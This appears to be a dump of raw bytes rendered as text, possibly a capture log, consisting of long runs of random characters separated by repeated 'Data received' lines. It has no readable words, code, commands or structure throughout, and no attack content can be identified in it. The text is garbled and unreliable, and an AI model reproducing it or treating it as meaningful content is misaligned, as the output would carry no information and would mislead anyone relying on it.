±qÙÝ±år\|H\|1¶w7ªïTx@ªib-Á°ºX üÉ}\û£ì¡äOËT[¬s]h»²Ùxß½ðo¿%é²aá¿wì»'¸O7Puÿ¡Ä°îEGyTp»ñ0À\|Z-²#&YsÞhkÛIáÞkÖ>¨3hh=ÙòxNkr#ÅÉWü#³êi]ìgGã§õ÷x ÄjC÷ )KþÜÀ½\©[³°Þ2CÁçûÖ¾ÞN÷/aGê{ëÕp.ìX4Ã£Â;â(&A9ëmé²Ï7sV¿û3¥'QóàÑ×5ý2êe6úKûZDÈDLXpkz½\@ ÊÐ±{3eÚU-ÒÚvcëCå<²ølÆ¾+îíIkipñ}ÕG\|@g%U<`hUÏ:Eîy@ï>úB& çÇl_Hªº7º¡êq.î½ûµ- íøÃf!M¥>bÛÒ{ÇFá·ËtFô]þæV4ï=CÊ*SkN¨ <Ò Ô!a%²JACÈ Sd,²P \ÑÈg)¢BPø$jFÃçMÇ!Á»¯Y£Áe&Ów ¶1DÍðÓ´ì1tK&Ò¼<ÖSè`q'#Òyñvsàpê/ièy?Q~À¯>iy$I¶²1J/D´ÌLXN'Õ^N@]EË À:~ZTÆ÷øG%ì+YÆÄàn 8å^wÓ¬;÷èß=¡)?Ðµp ~DÓõ~^Â°Ëw=»ÔÆ7!KfÚ¡´u¶+4C%où«ºÕ[t£c9PóÆbúÒ'èLmqaíê
Data received	,SªhA>è^EØt%%RY²7ìs³XTQg2å£ÿ@<WrïDO½áñ3ÙÐb-ý9?Ì(/A,¿è.jA{ØÆG¡Öå°fFDDèGN±ý¾1¡èWTÍ¹Êj\ÕÛê«2xùÿ\|É Ij)øûH6&¡ª§¦lë½?ª±+[¸Ðî»ï Ó5Å'¸}@Kº¢y$ç">ó/Ú%Êï@æÎSÁ¿ÓÜ¼ÓW\|Pp-YÏT%Û$g¸ÐPÝêãQôØÖõæÕ99®Ò%ÿÖEÁöÂX¥æHæIG Ý }¡: UÇ»ÜÈ&ex>ôâ÷H"è>#Ú¸V¸wF\b§#qãâÞö²=þZÐ'va%"Èà¤eÀ¬Â7å²Y(ó.D¢`S8ÎþÝòæåhÚÉ`þRkØ8Ä{½;;xsã©Æ`ãrïÅW°Ñf9Ý!Aßo+G¿+÷¤2 ÚÙä Nû!æ¸~öÆEnY7ÒhØØölÂ¾¶ Ð9ßÚJscí XÅfD°+1,ÌNJ1wV^ÃG¬ ÏîynÇàøÜÉn@ÖÝ!W±À¥& ¬íûÑÜnÉ¨ø®y9k@×(K®yC§(0Û³çm½s©P#éË¥µ<²B®´d´ òÄ£â«\|bP$^LÖ9zgAªàøâ²vöÙêÄùXJÇ\Ï(ÉqÿÃsZ`q,ÃÆ§Ôñuðt;'Õz>éð2C4ö(»¼dk°SäNt£þ®`9C)èa;R÷Ó:D²»(ÖU\ÏË?«Y(_<ó¹ý[ ÆÞ¦íøLPu`º»/ß@ ðÇÃ»hü} j#&C®s¥GÌNïí\·f2ìe¶ËHÑ2H úx;«úR®MèÏ/¢\©{¦ýUÝC¹\|Ôd(·?_dUØË£&tÐ±öð146¶]Ùw/áý«Þ.òÇîÝæyk\Z"ÒgJpøâ$ÝY\|éÍpfÄÃjÏ1®mÃÄG9P,çoÈµyyÍ¾`(d¦Àöªîâ'Å!¾Á¹8ð$åÁ8è'p»5I¬$Rcx:T!oÄ!õFÝU^K;bïÐÒ4Î¤É=&L°áá¢3ýf5[äývE}æäÍÕU´ÅÎ&¯» 6 \|³Ýwµ@'d6¯ågp(mCÁ÷¹Â7ÚV:ÞwcÌYÈµÙã¦£xÂ$à}ÓyiÎç©m÷~-õÓ"Ý_èÍ×\ÓCiyó£å}=%¢!äkúXB;!r§o©/Û§cböåÒµ.æüÐëÿpxÞ_ÿ'1Â/SÂúJ8<f·á$¦¯¼»~~cBÄ´KAÕìÉ^ÇI/ÎøXÞä\|NNdhÿ0»yÙâ,Ü×Q·òþ±õ/À^Â³$o}º:lôòü;h~ÐÄ5Jú.Æµîa-©[±sò(Õè6À_ÚChS3z[F¹÷wUKÐMõÿ4 *`hp¦à¼>¡c¶µ¿©E HWKt'?»Z³¦±FßáFÅk³ë¡1daÝmZÄ½ d%²GY¬Åó4nSÇHÂ2o sìßªóÔ=û#é)"És
Data received	ÿ¯Ö>ý´JW¯¦rcÖEb¤'iUnö!@P.0ð9^þ÷íå]Xôcyb=WªzÐñôöÄGÈ qtNÇ,û3Âo´¼²:é-ö§Çë¾É1w¬E%fÛ×#jØHDLaéU> ö¬wü/1©Y¢²]6Ì 0c.à.N÷íÈ$/+sAôj ¬°j ;zÊã=´ÝÄ+TÈ¶%Ä0îR·y§¦Þ-È'¸2óÊ4Ñå }³jdÐÃeIìü{ýäîÀbºí²¢[qx¬½Xï{úVïúrõ4¬ÇZ¸¦`.¹±À½ï§=¦O _ÿ¥Ý©PØ8[ï`¦YBJ¼ ÏsK °¦XÜokÕÉMsså°cWZÉU5='¬@)÷t_æEÅÛD{0}ÜZ¥+b ,mSº ?sj>RÉ¬_Á:{BåNZm&ÄL ðëNNu7C´cHu]Á¥Ñ·ö=`°ð~s9OìWää°v¸áY¹p7ðÂöVÊû,²Â íPmîÅðöÒÜÂbJ&¿ôMz×Ú 8¶",æ=w ò#æAóë<í:zÏÙÈÖòk]J_mÞO Øé¡ÏÃBp1ZéEÚ-ÑÀ\|$Ïðsn2ÁÏëý\ÃÙ÷ù)m²?¬±È´éÇktMKÞf£GÍ v×®kå¨²ÁtÌyFJ«~ÓGÿËÅ-W¢ø}aDÁtrþ¢vmøÓÁÉ/ùd]9o¾Â¨`lÏÍ³ "lh¬À¯8)ê08-Di)ÆgýØ¸»³ÅSµh tÚ:6vÊ8ôúó¹Ò>BL®¤î8¦Ì %ÄÉ5a}±îîµI+ÖHN}úYÜúÊªº©ÌÈ°züICh÷¯TðÊèéP©ÕËÛ·µKìê(Szöº ¥èKgcÎ@Au¿ïzÀ®[ê1û.µjø<¼öÕsä4¶=COí @6ãÒºÝd×$ÉIS©(UsßpÍ;ç?¬L½¨S9-k~Ý(¨uà7³Ö!Ò>%½\|±õN´yãm(P§J6ñcL³Å=üé<«N65U×ÐÛOÙ³Ì/±* ÞIS¬zÁt A¹TüÁc¨×èCù¥áMÚ_â%Cv¹®¯ñr(£æ'z¾{è¨ÇàË1\|4IÂk!fÞ´ÂÚ53ú{pÅæGPõ¹q ,m³Ý<7µÛg ÿdö8Åj_Y!æ®î¨Y ÍTÅE'þqÌñ¿2iäuÊÿÙ¡OcÝpïé=?5 ºO«}0ë±ÀG±±ôæíÏ>hðÏß«¼B;¦{^FÊ×5@EWÃ{ßÇal§¢8mzà´©Çø¼ëè´/`ãÌ¡wxÍMhÞì°Í°È?ÏÎÚ(q ÷òJw',ùcëÔG?¼Ê¿c9¨GQªäJÚ»½QãÁdmmBWiË¦2ÃGW¥¸ìtlÕ§{¹gòÈû9·3/§!ÂóÜ²YýÐÛ§èq;+*v%Çºóv×=÷0Ñ&ÚVáÿ¬büüý³ºÚyÑI _pãBñ çàëG%>Rðx-a4!hp¢ã¦±O¢×ý£MUb
Data received	ú´yxðS.áFy^¬YÇíM]»{Àßñe»³e%ÏÙXì`§¢s¼¿1£Õ90°@`äeþ5Ë!þü+_oÇøóóå:;T³(i£L ñ¨íns³Ý!µÆ ÏÚªÉÙÇ r#57£3ßÂguÃ0ÓýKì±¢îò5ìäBë³\|Ö ªq~¼tDäËüÒv²£¨¸Uz Ð¤,cQf¼]A_óãÙé-aBÍíXÑc¯CW^²K=£ºùÒ!0í¤ö÷Þ(¡íççS\¡Èè>vW]¯·à¶W;vbÔ-°Ü¯ýa}GÄÃ¹ÉÔ=ûQ3_Y$³ih¨eNã¬éÜ{¢Í¹ë.a]øu0PlÛ»ÖÕà§4lç%î`<w\÷ëÈ)JJ£PaøÐB/¬ñÌ¦Á@^nr`~ûúoà5m@mUß¦â¤à$Z)ïoEüòC¯ÒÿÉ5ð©YWö}¾¸ñpZí²n Xm«ÏäÏ'jå^£±À©Ê$º\ÄÄACvýè§UÑ~êï9Yg ôØW cô6Å0±ûy0 3ÞÙ½ÆUÈ0°;§ìî?îgB/Ìã¦\|pD#ñ¾d}7ÒÐÉ¿/I³¹À"cµÙ_È@!YÛ'«ÁE)¬û½âÃÔªËûe¿}ÅðM\|e¥¹ÝêÔ>AÀ54é]g#ÐÍShäj-ìpØá½/z&Bö\9Æueß$¯CM»h¡QEªí X®5õ ½CEÈM-5M6¿öÇ&ä2JM¾é®«2î¦êDf½b?"Öaàâ¿WY1BJ3Si7%ÔÂ'V0t¬êwGíG¤¡¨3;kjÃæbÎJ&ëp±×AÕË©:;/Þ´÷a\|!E¶qxÇ>Ë¾-è¢ oÙõ¾Çd9&ëå¾sUCb)/Î]]Ïã¨í<Î(3+ïj_ÿÕ¾Pãâûdæñ Ê£ú Öú7ö×±ó%¦ì.M¸õæéwµxk#@T¶QT2[cß(zqJaÁm·N öä¯þÝr&È(0píéþ®(bbnBÂU<¾Ó" F! þ>R ZQBt;gBêK£'Ø"á7 \|ÏÐüïÞÄØS wÜKìèxà[>¼Àü#«ÜÍÙWYN/ TÒ¼iÙñQ\ÙnW²ðLüìÇ¾mÓÿü'ÿS©Íîx1ÚZ[©Uìª`H#GÌ01aJrò\|6£r°Ê#Ó`b]óà_ùÌÙFlw¨øËqafÁ©¨î`ñö¼ÝÓ1[ 1¿K&T²ùi:AÞ×ÐS?Êw Bà7q0?<¯ÕÞÐüZ<1©GaåÜîLÔJ´ºÿ[vÙï4æ±¡f"¬1õáC~GÇ#üIÆ½¾`?<\0@V¤å·`G°=þ,óaÐÕ³âfoùÐjº"Mæj³\cÞðFIþÙË¥gÙ#ÊÙWÓöýA¨o5£uqDY Pû ¥ëYà¥!¾oãö8¶©¬¨y ÈEJTü}ÈÖaX ;Á'4ç3®ÏÄû
Data received	êzÆ,ý$àçÐã>$¦CG<ÀH²löl)¦=vêfsuñ\Æ³z]GpkOEiÃ¢¼Ã/Bå\rÇG^ 2Ýâ¢X¢ÇM¶ ã§`¿ÆäÍëQÄö¹h¥²U§KîóëÓÛ(®ëûR4"÷X(ÌÕ£lK[tB¥L8ÅWÐñÍ&ßZ,ÉÌÔ¢Õô1ÓÕ:³Á¹¹à3ê8åÂîSõÑ¬q×¨ :&cµåºIº QÕ¾t}ÂZ$ >ÀÂz-Í<úô÷xª(B·\ Ä·JªifQz:(ØwøpÀpE¡Sås~ ´HAòÚýô´ØøªC¯0f=×ÂHWK´ÕjÊ¿MRþpÂv0òJÝGaWuæðD©´âÃÄ~ãß®Ul$ôüºÞ{KVù's&uVð=i¼ÿ»¿$¯+Ç,Å;¡sgÿ®mW¥ÜÈÏXô°:HQ(ë å>²»9·Ú¤3`~ná-á3Fjøc1~Ýq¬ÖÑ÷Á±¤@k½íGÞ\×#( ïyYøÂuÚºgoÂ+KéÏH[#û!ÝrØÚ·/³QÛ5£ì½KSxEÜîÉÊ¡áíè7J§Á Uð8ÈãxåÊLcÇºÇªµNGÛ{îõ©pzÂcPó&U ¤^£_âéëW½ãG§ÔNDÛÂfR(Î)´CIhôù¦òöxceg[J!S(Lµ4%ºKì¿ËqQ(¸ë¸{xÜ z<GÈ´EIµxáÓv/b¤íl)hk^iÊ¶Xg;Gäc8ê§Ì_ýï]³¸¤ïe)jZ«yÂºùú rPQ0æqôÝþ¨¤¤0)ÁPÍô"hÍY»ÇÙp®lcËËHØ2=àª`±±¨¶;'ÿ\|Í¿ ej,ùé\|¸Ü[àþ lÐ5eáþ[rÑÏsËÏ\|x§Ùåï"õ1\Ë)»E-·»ÔuÚÜk¯`ºò±ëÌ¡QQ ëÅ1\|Kä«Z-\|ÀEôªJ¤Í²Wï²YC ÂSÝ}vçzØÞ§²¬hüJ.<D®ÆÎ§Ëwsº ¸(ÆlxþS16#PQ·Üb%úÂn%5ò!'7÷¹r^cUêHîa[Eót3LKO£]©=ÐDã}Nÿ¢¥ñIïl- EVNV}Pmù0!@P¯è¹1ÀÎU@²:±ÓÓ¿I·®x¿0¡Ùíáße`8ÐCd®ÃUäÒ9°2qÏGØI1¡n!$ãÇ¤À§Ã 3ç\|Ñ<?¤Ã\ýÿË´3Kiª·\|ÂôEÌdµçt¦ã1Ç«»»&v;á G7É Ú¼ ¥&9©·÷,¹ü¯^R© ¢6x0ä®Xú±B³È±gh(¡5<M×RP?4ÆþzÊIVlÕï\O8÷Hi=ÀúUÈÛ¥ ÓnÙDÕzwTbÑ\|#ïwÑ0ö¦ÇBm©@mFO1´t»ZÁ´_\YûZë1Í¸RdÆæÿI°w\|Ü%2M¨Tq¡ E:ImÖØu¬üÓÜ£Ï]»\ó*»µ¹·ÞêyÝ¤ÜóW0üÐ2[ö°ø,g}ÛU »¹¬
Data received	}¥þ7¢V£Ú=ùë´@F$h?±£Î¤V~Ä`á²øV÷%ìç5( ËëGÈw}`çZjCC<FãÆI 9KXwZl4~Y© J¯Êµy]i4vi« Ü£ÁïWkdºïWY3âÖú(ã">¡\|»]e±LÓ×Á¯@ÒSdêëEÃÈJ+ò®ÿhD×Iýä°di.`ÁÕ»e(SÖîªÈÿ ¨ñþ07vu0Ê\|Ü® ãã£R³Ú«¼&wÄÖ"¸ R{s²ü^¹A&L;AûÏBÿ®aÒs¨zÎ#ãÊpØZæKtµÑÙq5%Mb) 7Ç}ªÚ¦¼Mû]ú2Ç9r¦Ý¶]wPÐÀ#ÜÏ½W+$þ2ºlmØ.KÌìº(»ðÓ¢èùàJ=MO]CÚþ Âº55W÷ðÿ¦h\|l·ß_±úváAÁµ· ù +åz:øß%H¨%÷¢7ËM½JûÏDxêçgq-Ì½×iÊT¨Ä^ ¨À¸áÃ>r:Â0m¶»³tÃ³~ î¯^r±u?N§Üd4æmh¯Roe~d"Ú¡ªü¢3:±\|3¡îa¥Lñ¶GÞ"&ÙAÚlÿÃpò)q = Ï ÑÔÃùW'ymÓªÃ±("§¿¼²ð=÷/p(°Î!Ø/üû ~&çHûÈ%¾¥ËhèGMJ8õË_EÁRr®lß=É%ÌvI½^`BYµ:& <´fAÂÏ\;+ìµÇt´IF""§¾8½$HfZÕNè¨ 8¾÷¨JãFPDñá¡Í§mY¤øKVtÍ7ç³¯¨BPÙ¬}}OÐá)ü¬ òÅ,p¯ 5~¥ò1ºÜ5qzíÍO¬0ëçcmßo!pªÓà.ÇRÐ uëKQüSP}sTw²@y'òãÝñÄêëÙÕ¸º´idö¬«y( U'oì,ô»"H%[b÷^BsêCjm)DÚm]ø)Qa´^ÇA=SC?¢·aîtÈ»xõv_E¾;bäza&zÐIP{]"'!°J â®ø2Uebuµhjåææ3o±(røÌ£l8¸`°üN..ÔÒÙúí5{'ñâªü £¯ófk7^ £ÄaôÙö%²ïkÁZÂÊäÜÕòCl&¶d{$£Í:)¨i)î£ØXøóS fVê lDG ²¼æAûÚ²DxH,>nxcÖ¨VÑXíÂ!kî·í<À0&ûÚ5\@ê\0ý/îáØÛñÁöj¤À\|ÃÒâÊjcÃ@zàFµj(°¡Cr:Âa28Ðhy¸QÄ`f'xÖÎ}sMQlXjç=^3OÙ¨Z¨çnáÇö[éX8µR52.¼ È¯òÜ¤uDs4\|ª¤wNÒ×_Á²¸sbµîGªÄ^öc9"[Î\|cÈ21ï¡ºØÍa¹åú¾òNÄE¼{çÞ¼÷Uþ&mDvþµ¬ú¸<þ¾MÚèà©&øgl,Ó.¦n¦â{Ca,¼ýæÅ«]\åòÄÊÙàÝ@[(ù3÷QNÆÕ\¶cÊ7J/Àö*¬fFë
Data received	ò¥ÍÝL o`ù[¯ÿg(-ë»ãga¼ðu%Îí=WH-s»$§·Ófw j3fÅyîµû9m9ºn«:>-CÛ´Æä-:éL±nDÐ«åCi¬Þ%ë¬û/ëV¦$úÛ.ó1pBÕÍÞ·ß¾£ îÛ¤ÂDÜÞçLùA£(~ß§CêÁë$oX"rÿ}jæhvÕ½ï!;tÒk/Cç)z\dF>¾S$è¡»AÈ©ã¸dþtÄLª3 kÀó9AÕ «÷®´ú2 É¤& DFáÂXs8 "õïÍVÚæX¦Dæ@Éä%zp1¹²iÐÛu`BØ`Ë²qÿAÅ@0?ÉÏJ½åÂëÎÛ¿ 7>òTPª÷ 3ëæ¦ïB!5Ùßè@E¿k¬Ì¬Èæ+DULR#Ø" µ«Ð»kI&pv7¬;²×4ëîYihÂ Mz%Jðûr±GÑÚ}GÛÆ©ïC å«aów:½$¨~ñTß¯Ûún7ÅïíkÏS³{Ýw#0µÓq -·»ÉÇó°ä9®dê¿¼8þ¥h=xÝuzA«bzùâ òß¢dtKh¸ Ú$Rfôè¯LÄsu`Ìx©Q÷GDcýå]j{¯h ¤("q Bð{æQåæGt'÷Õ&%dØ\¶fRkK{è_XqFj$íðPO£nz¼AÓp(fÎÎ8æß£Õ´é7yñ)ØýÂ>%êXÿÁ©/ìæðÈømâzÐú½ù>C1.¯ùqDLÇkÑ7#6DsÆJÞjËj5\qÆò4&A¿8¼«K=Ø¡,¿umoóëÂÝÒòÏÈHQ2ö _mvDãÝàiÕGÛbÈw¦²ÐA¨¶CÏÈoûwÄÌ0ÜF¡ "ð@ÙðYÕÞ/î»;q RºNhr:4dRê² B ¡`âU¹Û 0°`!ç$cq1:Ò&Úu ³,à}ÄJñ\|¤¥¬Pé_¦¸ ÄÖ°ÿ°ªÀÊ)ì©Mb>´4¾Ãmó2Z/<=L7Êrª>Ãt;Tà8HUßðgµµyû9u á«VËç_é£`W¥éxÞ%K«L1d0³Q-,4-F¡ûIû-ìäÎS`X$IHCÒ2÷ýÑ°×È~ âv5·i* "åoROdÄ ¼S\#§} §ý9K\|"ÈTR×ÛKc[ºÄ¹'5T4¾j¬ñ¾qÞ<¡ðã'Î¡räáÄ4uH ~+ÑÈESöÅWxé+/Ý×Mÿò¶b]nbýsM¨³¡b{c,yK¹P üîÈ~1ÁQ ¬ãÅ¶¦ãÑyÏ]Â1ÝõÒð½zÓ\|û5G¬8.ùZ²:>»$öCF>èäQaÛ£4z==ò9{Úçó´Î}²ÝáÎêa²7© f~Î*OüÝËHf´ppZ©ýÂÙ7\Ê6kM^àZü3Ù hr,M'³Î#Æu.Ó¹¤£8&¼ß](Òçí¨ç^QRÚ{QúÚ«³ëÓÕø©&uèJFåÈ#¥Ñð/kö9Öý³nä(äª¹h¿óÐ°ÄùB:H¢v>¥¥ýÛ&c¾0hõåÖqÇWå¹¾é®yí×®/²
Data received	ÏBY&#©yÅº=·À3v+J¨À¡«ßïM¼£¸ò`Tü)86ÅÉDÌñóÇßL÷È`Dü%^Y-±T¥14èD´Q:fÞ2nó'fò)¹,FÕèÂ\×FKN¡ó¬gkÓA +ÓÓ5,²øÓ©§ÓÖ+ö¢SÊKàx½`fyóÞµ\Ùzñ.ÝÕ#òæî½gL[ sÝ£ôLÓ"\h®gYmVÝx'mÄ¤¡""ÁK¼SÂKØ:hXäÀµZÕÅð2\r¤¼u`y¢Yq¸ÎD¸Pì¶Ñ(âäl«£ ázÇVÕyÒ©Mó³Ukõ¥®{ÁÒÇolÆTáhý±ji?1ÀÐ¡9&3;îü:fA¿P&¨É0Î¹Ü+5à"vÄ»SñWÛÀû¢}ÆL¬´ÇÄöô?8ª{T@l5qS7`KÔ?6D ¶A¢ÃÊ é£Pë¿²U¢HïãëfÕÐà25ðõ(ðî§AüiÍlöÜcÓâd?Ú%AÏqõùaÆ0)É'ú§5V{`ÌE,ß¾c1ß4âÑÞJ>yoa>'uí?õZæ±¢:V0¿ø¹ñÆæwÄ Ê6VüX¶ÿ«õ<ìxFÊÁV çnv¡íàT¨Þ teüÅq%¯t¶±í0g×Îå÷Ð!´}Ñ?%KáçÇhÕÍV¹ê$~B VÐäxÇ):]pÞÙ'o,ê8]á® (¯V?UBP&ËUÇ½kº4/ÈÃÜ,JÒp-¥³!çHm!DP¡ ÙRJ¥jÃ"`Äõ(wðZ2vîI´`-ÊÜ°á(åBûpôû#?z :Ij,ô sîIÎE}ÙG6ÆjÉÃ!3´4¬è0WÞJ5ãõ³÷½¨Ñíÿp÷ªÃ¹!iIÿ.Uf¡¾R\¾oòÕÚOævåÑ»biQ1ÒmZwCnÎë_¹¼oÿ($PSC\D4¥b¹Á¦ÛâÐ6ä£mêÿ÷0eXTH)ì&A©þaÏ\` ·nµä¾ëÛÓàÒÿÕ3ZÁhø¤ è¤xgð±kv¢@:í©7Q0öÊ·¥q(2üBXÍ¦Ý` w²\ÎÛê$qµsÔÙ£d÷¥åHpgÛß£/oÇ²}ôª¿Kóôæ-<VË9}J±ù75¦{Ú&qUæé.ì@ñCÊ[¿Û4økXd¡³Ð1 ¢ÎùëÖ vÄ±ØÂ \|Ç*Ç>_«&ìÊ¥åñCúøSÖµêf¶°^XÃÑË´ª¿ ªg±/f#tdßdÿ¹(©áÜ^uO$Àºí¡×¬$èRT<2Å ¼fÙóÖ´¯d?l%+ßñõË/'9Ã8è«ðì ]·ËU& ;sð~ö7Öõ4¶¯Û~îv1\|Åô´ [b¿ÓX::ò~ògv'_á¯ôHä,¸iø.ßI5Î¤0è¦çNÕAUÏöÔÎß4,ß?TWç{¬`aTÌ¥F×ó1eÙ&ñc·aMõýRc5¼?ø¹]¢¾¨ÕÕ}t£{L)ÙÿQ}YûÜg7eéð¸
Data received	ð½óD4öæ³al»I¢Ja&¯w ÝP´ `ËZÃÊ÷´ø~¶¡×Z&´ç"q]úð¾GùÑTZ¹ÕÑùïÓÝdè´Rds4Âtð':ûHHË¯+4tgsÒÜm@@Züp¼Ö´jÏok{äú0ªñôkPlsúë?ÄÌ){O}¹0§«0EbK»h GÔ]aõ7²Çx~H]Î:¢Þ¿°-QÐð"=PñIãl¤4Àïdo¹¾îvoæÀ®#2TxWn> ½¶Ä2-{i$«³d¼ââ?gû ¿}9¼A Ü, jèwëtNñ·tû¹®ã7ÀÙ ¡Pâ"YØLàJn3@7qín+ú{uó+²zÜèó\|.¤E3ùLmV6Rjdò[éÖúÃÕõrg TÃM+ÊºlÑôép9äßCk]èÿauË+°^z²¤ôò"©ÖXÑ ªê&³?TøÛ¸,:§:X\ýáiDÈ;1ærôK:2!Þ®Fì^ÿÇ1Ò0÷°£Î7»_ö4ÎÎz©~ ÞRx\PSñ$=úÒÑ)áì2ÃñÕBfõûêùß¾& ÷ Ý,_Y7;Þåk)Oxu(÷gÒ¾t-ô¯s_Æ¸-ýÆ¢s9yëóZÐÁT~ìy`gq:Ð1¨¡,ÐEá5 vC-©¨ÚN.¬ãþxï¥¿1@ÅÎáiSH$íVÊ%ªP¹_ß`µtÛR>T²Í©¹gXfüréÒùFPlé%z_ìhæ]ÙóÜ =êf,$cc<´õA/Õ'Hæ8Äú÷¡Ðâwú²§·åìdk/÷²OÞ%÷&(SØ;EÃ¼ÙÇU»ÅYçh'á«²2OKÞ(úES%A¾ð¦æ:+Ä, Í+ÔDLq&R@ÈÁ³.M6eñ»Ø%i(±ïIý«ÂÞw&P\¼Q¼hÿ»jéÜ:o"}îI&Þ'HëRÝÊ¨hîë}5ù!)Í÷W%_ö' ±u$¨{nÂ¨êçÆuTcGÑÓOoóçAÑÄöfR8`GÖðd»t$¹Uñ³}dþ³Ò}Jû~ÃdeH² +Ü\4[5põ'\A«,:(!à'I7 -¸ä{ìB;Ês±HíT´\fMNhpr¿«Èé½><Ô."¾¯îÚ³õeÀÒß;Ì¬oÒZl©<7V>ÐàmÙyR+â0Åo¥ÚÂ9$Bhå¶EZºïM«B¤¿Ù3¹^¡Å þ¶ùÕd²$¯2.v\|TGS±Ò^6ð7Põok²ÁìgÒ³§Û¶oh0¬ÚuÝñÕðèÊõgïvqHÔw§XeI¸X÷BÄù«ÆùEt¥\|¡ÊüõY¢-tË,Fê Ø¸ÍÓ£!ÄÏ'eÒ'åCÝÎptpëô«ø\óãVÃI)~ eOÈûÂÖ,]´ÈÅ<m¶Ê ´6âÆo`èù4POk3 0ÒàÜ´¢3°¼?"ùbi§l: Bß£FºW~~]ï ºßP$ ùfë«[Z¸Oxib¢7ä÷§¼ 6(¢ÙO¤xà¯ÅêjÑ°G·¼,äÐ²Ò`t§9¼ÑQzÃ[ï,^ì×ê;Õ/¡<T¸
Data received	NdÇ® í]¤qCSUTü ,¹£Jå·yÿãV§Å6³Lrÿ_GáN¿Ç"í7wú`izy6·ëîÐ¿o¢L°Nf8]]@o0bæw¤§°dRðzÖPs½¯±ÊüÑÌÃ³(UU Ô§D¹VÀt<\|áEtÅcêíQ£'ÇÝ(óÙìèäkçóFqr.qf³ïÌ']cwåHw¢÷«õ^Ãq¿bL XjÐ²zïðÓ$ÖW19JE_%çhtoOÛ3,ä)#Y¼®óÁ÷°õ¥¬ü,,<ÝW#ÆÅÁ¦l5§~¬²çN ÖÎ3 &Øé¡.<o ¶ÂÑªëÜñmèÂu ®³0ÕêOdó°y®ÓLÉ1ªbéµEBCýJÃËá\|=¤úÞ±×l ÿ½àÈõw«ÐSù1K Å_ÖÆ;[ ÚQéBÌ)ëåÂ-Û®@" ÐIÌUÙHKp#.ÕÞæk?8¢¼@¢¯g4º:°\ÌÎ)ü¾b#ò0ýüº7Q¯è9`ñ÷¢`ç9µë+>)Ûk_&l:.m³:XésÔË á»óóÞµW£{rÿüw«ó/Å!t\|U~ï ð5ÿ-lö64 tfh7Vå7,%ðÌëqÏÜùë×WñÑÃÎ}2/`*_¬2µ²ëv©êEùA¡N÷ò%¹¤ûú3tèU»É0ëî¼ög'÷zELkÒ íþªFõµ0Ð¡eÿ-¢§ÕyíÛø÷ùe/ªÃîêø²åçHWØ Ý»P\|/ ç^õÍ4J¿Ñæ5FÅÐ'Ú£tQè}QÁ(9ÖÙ¹¬x !6cÖñDâÄé)ÂÚð½â½\|`ôîg-¡ð20§ÜvcäíôóÓêÈlÏùk{ïÂéçý¿ÖcJþd6¯KÏ¿wyKg@]lúê<ÜÃÜ<,@~ÆDi}Sa.fJz³XüîI±>ÌàâqîIO÷ýyµûÉ}@MÏu²ç0W.¸¦®üæ°.ëð\àh\|ã¡uÿòM`\|Á/Üc«_]Lþ0¥é·Uð#VÌöCrµÈ¦¦Â£WþBÌ-øµ9>KABIèóÜþz@³CH-~?-§ÍõDxVØ$ñc¼rJ(,Çõ¡¼£öUZHÿ \|V'4Ù½Ìk?;ÉdÉ@6£ÊñÜÇÌhQysøE±xEuf)! 3ú^Ý¤ÆóÉ ýºª æ>WxÀ..º©¦¿Itô1B¬ÇXRÌóâu'MçÉ·¦ï«f0äDJ\|£ÚVKôk["ï¢æ«íñnâ¯qKmë~OË·ú½³:ìXw¼È¨ÿíÀ3ÎXßkòVK6´}9×oÐsR];(þiù2nYÙ4õ#¤Oï` üÉÞDNÒ_·¾B98îKH^Ë¥p.þ<¨·ÂôÞI'âT¬ZìáèD±a×Mm&Ñ³Ë}T»GM+Y·Æ^QTÈE²¶LÀ¯Ã³xÊ3g§ýÎ¯iî²wö¦?ieºøo¹åb0@1ZËjLL>X^iýqHÎsfÙà¼OÅÂêÇ ß
Data received	Ð
Data received	¼³´2×ËHÌaáÄèR7âNbÔ4yc¸uæ@¡ökê'ý-:Kâ"è#il¦ÏÎ_ÐV,@æ e_\¾ÜÚãí]¥n4{£QU¤aí²¬Ó`9LÝoº6¦°©#do¡Ôá3àiR- 0Ã$n~b§±¢=êAØIûÛVìºô®§}±X«ÊJùà¿ÝcÚR¿uS9^òwõzÞ§N ¾òlÉY#"·Üý¤A_û$ª¥ù¢(÷É,Z÷aa¨uÓå{7IÓâ^·XïâçM¾H¡ØÎÌ»/³S5z§6%¼QñÑOÜ Þ$)ÖCB¢wÙh¨¸+1úêìºe<swrBÖÑÊXøçßNPADákÕÛý]K·äô}ÈòØTâ¬y lCÙ}CjÏ×è÷NBby§t£¶@$ì´éü\ºå¶1 ;§+¯&L0UJ/FïPSoìÕõ³Äx{§Ø½+àp·q¯üà®oßöY:´îXç£¸`{Hó#;©!Ã]ÃIN°K2ö9ÔºÞîªÒòNt5#föú×[4 {fu£}ja%²S6P![J0ÅÌëá2XÌ3l>â×¿p¹tèÀ´Ú'Ïy¬'ØIMë.Yáv¾Ñ+°Âí¤zwûFv-äÃöÁÂ{UolÖË0Ûà¥!©²õÜblB°6h0Jõ#Vgþ [®Ç=/ó4%OÔAÙ~_Ñ½éj<Ûä¬'ÜÉÀV>2~Æ©=0vÂt¾ñÝ/6¿ãµÓ/&$¡¯@x«<òãÒÜç]´^¯2ÕÖC«V·0½s?Y[ÞYX¼B±}Fë¹ä«ÁÐú RZ1éÝNiÖBÖ1ÁÝ[Ì[âW ebD·}±2ý^ôÄw<ò ¿ÒöÉ£¨ÁxÆ\|w³£¥ËñIÏe/×ÿà÷W®$xfTÈ·$Î?)u>4oYÄ·`y£¾E©Ârù0AëÜâqDÙ0Ay¦AýÖ¡òc&£¾Q6ü×öÙ~èz¿Ð#éÜ6MmD?ÙY¢âv¤\|!dÆ"7NÌ®¡-NExÈÖX ¶!Vö¯\|ï¬°ÕgùuóòfÄ9!Sõóiò{jy´KHðøGk2Ã£ÍOÊ¨¡è"li9>Ñ×'þj¦ÃPïoâî´V¾#ÄeU"=+Íþó±ú©ë·8æy«57û¹n}³ °+hµ».2þ0!6\Òf¿åUFÛÎ;4³¾D¾Q 3R!ãÐ¸ÓQ%úÀÉ»ù±e*bâdðlV.ß¸lQN÷ °£/Õb°¢¢~z¾{SrïÅ7©HKÛ?~ î³EéÅÅ9YÈV&GQ¿K¶Dqº^½¢0L`Gwõ#S¥
